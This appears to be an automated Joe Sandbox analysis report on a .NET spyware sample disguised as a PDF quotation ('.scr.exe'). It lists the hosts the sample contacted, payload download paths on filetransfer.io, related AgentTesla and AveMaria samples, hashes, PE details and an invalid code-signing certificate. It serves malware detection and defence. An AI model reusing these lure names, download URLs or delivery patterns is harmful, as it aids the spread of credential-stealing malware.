https://stackoverflow.com/q/14436606/23354	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	QUOTATION_APRQTRA031244#U00faPDF.scr.exe	false		high
https://s22.filetransfer.io	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	QUOTATION_APRQTRA031244#U00faPDF.scr.exe	false	URL Reputation: safe	unknown
http://ip-api.com	aspnet_compiler.exe, 00000004.00000002.2896066000.0000000003041000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.0000000003117000.00000004.00000800.00020000.00000000.sdmp	false		high
https://filetransfer.io	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B0E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-net	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	false		high
http://filetransfer.io	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.0000000003041000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.00000000030FC000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.13.139	filetransfer.io	United States		13335	CLOUDFLARENETUS	false
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430332
Start date and time:	2024-04-23 14:44:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QUOTATION_APRQTRA031244#U00faPDF.scr.exe renamed because original name is a hash value
Original Sample Name:	QUOTATION_APRQTRA031244PDF.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 189 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Simulations

Behavior and APIs

Time	Type	Description
14:44:53	API Interceptor	588x Sleep call for process: QUOTATION_APRQTRA031244#U00faPDF.scr.exe modified
14:45:52	API Interceptor	91809x Sleep call for process: aspnet_compiler.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.13.139	QUOTATION_APRQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/EN1H0b0j/download
	Payment Slip (SWIFT)#U00b7PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/sooHKfZ9/download
	Payment Slip (SWIFT)#U00b7PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/sooHKfZ9/download
	QUOTATION_OCTQTRFA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	filetransfer.io/data-package/XPL9HUmM/download
	QUOTATION_OCTQTRFA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	filetransfer.io/data-package/S5VZI7QF/download
	ORDER_LIST_OCTQTRFA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	filetransfer.io/data-package/9uranKMp/download
	QUOTATION_OCTQTRFA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	filetransfer.io/data-package/Kj1jXnxr/download
	Kargo Konsinyesi^^ICNIR00112339^20210630^^^ACC^^^^^TR^^^PL^^BL^^PDF.exe	Get hash	malicious	AveMaria	Browse	filetransfer.io/data-package/4fDOVZr6/download
	PO_IN00043INBOM_Specifications Sheet^^^^^dwg.exe	Get hash	malicious	AveMaria	Browse	filetransfer.io/data-package/9e4jI1vN/download
	New year order-01069022^^^PDF.exe	Get hash	malicious	AveMaria	Browse	filetransfer.io/data-package/KOeMWG3f/download
208.95.112.1	Wire Transfer Payment Receipt#2024-22-04.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	cb9YYjPyUR.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/
	Ship Docs_ CI_BL_HBL_.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	sZXuT60Q6P.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Comprobante.xlam.xlsx	Get hash	malicious	GuLoader	Browse	ip-api.com/line/?fields=hosting
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	TRANSPORT_INSTRUCTION_MR.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	Gesti#U00f3n Pago a Proveedores - Liquidaci#U00f3n anticipo.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	BNP Paribas_RemittanceAdviceNotification106173036326.doc	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
filetransfer.io	QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.200.96
	24crypted.exe	Get hash	malicious	Unknown	Browse	172.67.200.96
	24crypted.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	QUOTATION_APRQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.200.96
	DHL - OVERDUE ACCOUNT NOTICE -1301858139#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.13.139
	l8p4UP25ft.exe	Get hash	malicious	AveMaria, GuLoader, PrivateLoader	Browse	172.67.200.96
	Payment Slip (SWIFT)#U00b7PDF.scr.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	Payment Slip (SWIFT)#U00b7PDF.scr.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	e.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	e.exe	Get hash	malicious	Unknown	Browse	172.67.200.96
ip-api.com	Wire Transfer Payment Receipt#2024-22-04.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	cb9YYjPyUR.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	Ship Docs_ CI_BL_HBL_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	sZXuT60Q6P.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Comprobante.xlam.xlsx	Get hash	malicious	GuLoader	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	TRANSPORT_INSTRUCTION_MR.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Gesti#U00f3n Pago a Proveedores - Liquidaci#U00f3n anticipo.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	BNP Paribas_RemittanceAdviceNotification106173036326.doc	Get hash	malicious	AgentTesla	Browse	208.95.112.1
s22.filetransfer.io	QUOTATION_APRQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.200.96
	SecuriteInfo.com.W32.ModiLoader.YK.tr.11853.21891.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.13.139
	Purchase Order 0342024.exe	Get hash	malicious	Remcos	Browse	104.21.13.139
	rNEWORDER28938928384893029.exe	Get hash	malicious	AveMaria, PrivateLoader	Browse	104.21.13.139
	rSW-Purchase_or.exe	Get hash	malicious	AveMaria	Browse	188.114.96.7
	Order-202303007-pdf.scr.exe	Get hash	malicious	AveMaria	Browse	188.114.96.3
	PO_IN00043INBOM_Specifications Sheet^^^^^dwg.scr.exe	Get hash	malicious	AveMaria	Browse	188.114.97.3
	ADLINK-TECH PO#2220002637.exe	Get hash	malicious	AveMaria, UACMe	Browse	188.114.97.3
	vVk8dcU6G4.exe	Get hash	malicious	AveMaria, UACMe	Browse	188.114.96.3
	SecuriteInfo.com.BackDoor.SiggenNET.35.30620.exe	Get hash	malicious	AveMaria	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	Wire Transfer Payment Receipt#2024-22-04.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	cb9YYjPyUR.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	Ship Docs_ CI_BL_HBL_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	sZXuT60Q6P.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Comprobante.xlam.xlsx	Get hash	malicious	GuLoader	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	TRANSPORT_INSTRUCTION_MR.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Gesti#U00f3n Pago a Proveedores - Liquidaci#U00f3n anticipo.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	BNP Paribas_RemittanceAdviceNotification106173036326.doc	Get hash	malicious	AgentTesla	Browse	208.95.112.1
CLOUDFLARENETUS	Integraconnect Play Now 484 484 6292.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://www.ne16.com/t/4177044/70602841/2927387/1/124665/?f8785874=aHR0cHM6Ly93b29kLWRlY2sub3JnL3BkZi85SWRac1p5aTJEeWh3ZUcvYTFmM2IxODIyN2RiNTc4NjIzOGE2ZTc0NTE3YWQ4MDEvWEM4YXAvYTFmM2IxODIyN2RiNTc4NjIzOGE2ZTc0NTE3YWQ4MDEvWTJOc1lYSmxRR0psYkd4d1lYSjBibVZ5YzJsdVl5NWpiMjA9	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://hr-lumentum.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	http://hr-lumentum.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	S9a6M5G4R2v0t05579802009.html	Get hash	malicious	Unknown	Browse	172.67.215.47
	copy#10476235.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Wire Transfer Payment Receipt#2024-22-04.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	DHL_RF_20200712_BN_OTN 0095673441.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	tributario_fdo.zip	Get hash	malicious	Unknown	Browse	1.1.1.1
	BARSYL SHIPPING Co (VIETNAM).exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	copy#10476235.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.13.139
	Wire Transfer Payment Receipt#2024-22-04.exe	Get hash	malicious	AgentTesla	Browse	104.21.13.139
	DHL_RF_20200712_BN_OTN 0095673441.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.13.139
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	104.21.13.139
	http://pluralism.themancav.com/	Get hash	malicious	Unknown	Browse	104.21.13.139
	BARSYL SHIPPING Co (VIETNAM).exe	Get hash	malicious	AgentTesla	Browse	104.21.13.139
	Ship Docs_ CI_BL_HBL_.exe	Get hash	malicious	AgentTesla	Browse	104.21.13.139
	sZXuT60Q6P.exe	Get hash	malicious	AgentTesla	Browse	104.21.13.139
	Urgent PO 18-3081 Confirmation.exe	Get hash	malicious	AgentTesla	Browse	104.21.13.139
	171385176494b902dcff1b37e29676f3c17c0cb0090fe4b0a33f3f6a97431f2344b56a8ec2497.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	104.21.13.139

Process:	C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	5.347863460191528
Encrypted:	false
SSDEEP:	24:MLV1qE4qpE4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4K5sXE4qdKm:Mp1qH2HKlYHKh3oPtHo6hAHKzeRHKMHA
MD5:	18F2D975E7BC9B37956ADE1E5E65605A
SHA1:	91C2FE3F3486045C471FAC37871355C2D77DC9AA
SHA-256:	D5AE3EC7F9D14F342320A0656FE4B00A8DCEEC2F558080195E7300AE51631663
SHA-512:	0C0CC95FFF8D684DC2BA33DFAEBD41806F61F387074133C86B0F98FB0F09B9EB3DCE8BF38AE4EE04D6371275B2ECB94D447555120B940B93669C325FFFC3D130
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, Publi

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.441967098822087
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QUOTATION_APRQTRA031244#U00faPDF.scr.exe
File size:	249'072 bytes
MD5:	715a6e943fbaf2e9205a70e391d0fd1c
SHA1:	acc6f23393b146fc1c815b06c322280ac27d50ba
SHA256:	a22b502cc5b1476fef59963f2df2eaea9086e775923d82308cecac83d5c5cbcd
SHA512:	fba1ea4fac8d347f91de299a31fb23e45bacc1826110a5074a33e37907293921965d5a4ae5441b3817a0bbc88d66d93bda87050b4ad5ffe7e77e8ec3c22d169b
SSDEEP:	6144:UE08tYLyZZEXrdm4Vz0RpppppppppppppppppppppppppppppbF:U9Xrdm4Vz0Rppppppppppppppppppppz
TLSH:	DE341882E8006264EE59AB346A33CD3507227DBDAD78D42D24E97D4B3FBFAD36019417
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....'&f.............................1... ...@....@.. ....................................`................................

File Icon


Icon Hash:	c5b492b6b69c85d1

Static PE Info

General

Entrypoint:	0x4031ea
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6626271E [Mon Apr 22 09:00:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Symantec Class 3 Extended Validation Code Signing CA - G2, OU=Symantec Trust Network, O=Symantec Corporation, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	01/04/2016 01:00:00 02/04/2017 00:59:59
Subject Chain	CN=PENTA SECURITY SYSTEMS INC., O=PENTA SECURITY SYSTEMS INC., L=Yeongdeungpo-gu, S=Seoul, C=KR, SERIALNUMBER=116-81-65189, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=KR
Version:	3
Thumbprint MD5:	26014BF229063B8AF8B9D95A61E63003
Thumbprint SHA-1:	221FD06A67A578DDBAC7EEABD90128FBA5665628
Thumbprint SHA-256:	DC250AEAE362F1E953780582CBD0BCD406A646E3ED939EB6D7BB3410D0022758
Serial:	25967C4AF7D540BE9EB9A51D8E12A76B

Entrypoint Preview

Instruction
jmp dword ptr [004031F8h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
int3
xor dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x319c	0x4c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x38169	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x39800	0x34f0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x31f8	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1200	0x1200	7149ff22d6edc80190ad2718067ef3f4	False	0.578125	data	5.619616480126674	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x38169	0x38200	2ff513859b28bd0c530724fd1aa25e7d	False	0.3084197522271715	data	5.200668533838594	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3e000	0xc	0x200	db981a661028044fc525ddda24508648	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x4320	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	0.38353658536585367
RT_ICON	0x4998	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	0.48655913978494625
RT_ICON	0x4c90	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	0.5286885245901639
RT_ICON	0x4e88	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	0.5878378378378378
RT_ICON	0x4fc0	0x6739	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9933017975402081
RT_ICON	0xb709	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.5578358208955224
RT_ICON	0xc5c1	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.6367328519855595
RT_ICON	0xce79	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.6497695852534562
RT_ICON	0xd551	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.47760115606936415
RT_ICON	0xdac9	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.125
RT_ICON	0x1e301	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	0.21113622030691612
RT_ICON	0x277b9	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	0.21157894736842106
RT_ICON	0x2dfb1	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	0.24269870609981517
RT_ICON	0x33449	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.22325224374114314
RT_ICON	0x37681	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.3196058091286307
RT_ICON	0x39c39	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.3642120075046904
RT_ICON	0x3acf1	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.5086065573770492
RT_ICON	0x3b689	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.5735815602836879
RT_GROUP_ICON	0x3bb01	0x102	data	0.6007751937984496
RT_VERSION	0x3bc13	0x35c	data	0.4790697674418605
RT_MANIFEST	0x3bf7f	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 14:44:54.297084093 CEST	49736	80	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.401875019 CEST	80	49736	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.402132988 CEST	49736	80	192.168.2.4	104.21.13.139
